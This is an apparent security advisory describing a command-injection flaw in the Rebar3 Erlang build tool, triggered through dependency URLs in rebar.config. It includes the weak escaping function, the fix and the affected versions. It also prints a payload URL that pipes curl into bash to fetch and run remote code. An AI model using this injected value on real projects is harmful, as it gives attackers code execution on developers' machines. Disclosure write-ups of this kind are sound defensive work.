Rebar3 is a widely used tool for building applications in the Erlang world. It is quite dangerous though. With the tool, you can get OS command execution in different ways and sometimes in ways not intended by developers.

While examining this tool, I came across the strange processing of URLs contained in rebar.config file. Improperly filtered data sent to the shell resulted in the execution of arbitrary commands in the operating system.

Command injection occurs on a step of fetching dependencies, which makes the exploitation vector attractive. You can find the proof of concept code here:

To exploit could be triggered by any of the Rebar3 actions, including clean, compile, cover, ct, deps, dialyzer, edoc, escriptize, eunit, get-deps, release, relup, shell, tar, tree, upgrade and xref.

The malicious URL in rebar.config may look like this:|curl\t-fsSL\t|bash\t-|git\tclone\t

The root cause is in the sh function, which is being called from numerous sources, including those with potentially dangerous inputs.

An example of an unsafe call to sh function:

rebar_utils:sh(?FMT("hg clone -q -r ~ts ~ts ~ts",
                   [{cd, filename:dirname(Dir)}]);

The only rebar_utils:escape_chars decides whether the data will remain data or become a command.

escape_chars(Str) ->
    re:replace(Str, "([ ()?`!$&;\"\'])", "\\\\&",
               [global, {return, list}, unicode]).

The vulnerability was fixed in the pull request #2302. Thus, versions 3.0.0-beta.3 to 3.13.2 of Rebar3 are vulnerable.

Making the proper fix to prevent the mixing of data and instructions is difficult, because there are so many dangerous places in the tool, and sometimes developers don’t want to consider issues as vulnerabilities and address them.